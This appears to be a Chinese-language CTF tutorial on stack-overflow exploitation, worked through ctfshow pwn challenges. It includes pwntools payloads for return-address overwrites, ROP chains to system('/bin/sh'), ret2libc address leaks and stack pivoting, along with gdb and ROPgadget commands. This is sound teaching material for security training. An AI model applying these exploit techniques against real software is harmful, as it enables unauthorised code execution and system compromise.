【CTF | pwn篇】从ctfshow入门到进阶:栈溢出实战技巧全解析
1. 栈溢出漏洞基础认知
栈溢出(Stack Overflow)是CTF-PWN方向最经典的漏洞类型之一。简单来说,当程序向栈上的缓冲区写入数据时,如果超出了缓冲区边界,就会覆盖相邻的内存区域,这就是栈溢出漏洞。这种漏洞通常由以下危险函数引发:
- gets():完全不检查输入长度的函数
- strcpy():不检查目标缓冲区大小的字符串复制函数
- read():当长度参数控制不严时可能引发溢出
- sprintf():格式化字符串不安全的用法
实际案例:在ctfshow pwn_035中,程序使用strcpy将argv[1]复制到固定大小的dest缓冲区,当argv[1]长度超过0x68时就会发生栈溢出。
栈帧结构是理解溢出的关键。以32位程序为例,函数调用时的典型栈布局如下:
高地址 | 参数3 | | 参数2 | | 参数1 | | 返回地址 | ← 溢出目标 | 旧的ebp | | 局部变量 | ← 缓冲区起始 低地址2. 基础栈溢出利用实战
2.1 偏移量计算方法
确定覆盖返回地址所需的填充长度是攻击的第一步。常用方法有:
- 静态分析:通过IDA查看变量与ebp的偏移
char s[36]; // [esp+0h] [ebp-28h]此时偏移量 = 0x28(到ebp) + 4(覆盖返回地址)
- 动态调试:使用cyclic模式字符串
gdb-peda$ pattern create 200 gdb-peda$ run < pattern.txt # 崩溃时查看eip值 gdb-peda$ pattern offset $eip2.2 直接控制EIP
ctfshow pwn_036展示了最基础的利用方式:
from pwn import * getflag_addr = 0x08048586 payload = b'A'*0x28 + b'BBBB' + p32(getflag_addr) sh.sendline(payload)这里用'A'填满缓冲区,'BBBB'覆盖ebp,最后用后门函数地址覆盖返回地址。
2.3 危险函数特征识别
审计代码时需要特别关注:
void vulnerable() { char buf[16]; gets(buf); // 明显危险 read(0, buf, 50); // 长度大于缓冲区 strcpy(dest, src); // 无长度检查 }3. 绕过基础防护机制
3.1 对抗NX保护
当栈不可执行时(NX enabled),我们需要使用ROP(Return-Oriented Programming)。以ctfshow pwn_040为例:
pop_rdi = 0x4007e3 bin_sh = 0x400808 system_plt = 0x400520 payload = b'A'*18 payload += p64(pop_rdi) + p64(bin_sh) payload += p64(system_plt)关键步骤:
- 找到
pop rdi; ret等gadget - 定位
/bin/sh字符串地址 - 获取system函数地址
3.2 绕过Canary保护
栈金丝雀(Stack Canary)检测到溢出时会终止程序。绕过方法包括:
- 泄露Canary值:通过格式化字符串等漏洞
- 逐字节爆破:适用于fork型服务
- 覆盖SEH:Windows特有方法
ctfshow pwn_049中程序没有开启Canary,但实际比赛中常会遇到。
4. 高级利用技巧
4.1 ret2libc实战
当程序没有提供后门函数时,我们需要使用libc中的函数。ctfshow pwn_045的利用流程:
- 泄露libc函数地址(如puts)
- 计算libc基地址
- 定位system和/bin/sh
- 构造ROP链
# 泄露puts地址 payload = b'A'*0x6c + p32(puts_plt) + p32(main) + p32(puts_got) sh.sendline(payload) # 计算system地址 puts_addr = u32(sh.recv(4)) libc_base = puts_addr - libc.sym['puts'] system = libc_base + libc.sym['system']4.2 栈迁移技术
当溢出空间不足时,可以使用栈迁移(stack pivot)。关键技术点:
- 控制ebp寄存器
- 使用
leave; ret指令序列 - 将栈转移到可控区域(如.bss段)
leave_ret = 0x0804844d payload = p32(bss) + p32(system) + p32(bss+12) + b"/bin/sh\x00" payload = payload.ljust(0x6c, b'A') + p32(bss-4) + p32(leave_ret)5. 64位与32位的差异
64位架构的利用有显著不同:
- 参数通过寄存器传递(rdi, rsi, rdx等)
- 需要平衡栈帧(stack alignment)
- 地址空间更大导致爆破更困难
ctfshow pwn_038的典型payload:
payload = b'A'*10 + b'B'*8 # 覆盖rbp payload += p64(pop_rdi) + p64(bin_sh) payload += p64(ret) + p64(system) # 栈对齐6. 工具链与调试技巧
高效的工具使用能大幅提升解题速度:
- pwntools:自动化攻击脚本
context(arch='i386', os='linux') elf = ELF('./pwn') libc = elf.libc # 自动识别libc- GDB调试关键命令:
checksec # 查看保护 b *0x8041234 # 下断点 x/20wx $esp # 查看栈内存- ROPgadget:查找有用指令片段
ROPgadget --binary ./pwn | grep "pop rdi"7. ctfshow题目精讲
7.1 pwn_051 IronMan变形题
这道题的特殊之处在于输入字符'I'会被扩展为"IronMan"。利用这个特性:
# 输入10个'I'实际会变成70字节 payload = b'I'*10 + p32(backdoor)7.2 pwn_052 条件触发后门
后门函数需要满足特定条件才会输出flag:
if (a == 876 && b == 877) { print_flag(); }因此payload需要精心构造:
payload = b'A'*0x6c payload += p32(backdoor) + p32(ret_addr) payload += p32(876) + p32(877)8. 漏洞挖掘方法论
系统化的漏洞挖掘流程:
信息收集
- checksec查看保护机制
- 识别危险函数(gets/strcpy等)
- 查找后门函数/字符串
漏洞定位
- 静态分析(IDA/Frida)
- 动态调试(GDB+Ped)
利用开发
- 计算精确偏移
- 绕过现有保护
- 稳定化payload
自动化脚本
- 处理交互逻辑
- 增加鲁棒性
- 优化攻击成功率
在真实CTF比赛中,建议建立自己的漏洞利用模板库,包含常见场景的利用代码片段,可以快速组合修改。同时要养成记录解题过程的习惯,这些笔记会成为宝贵的经验积累。
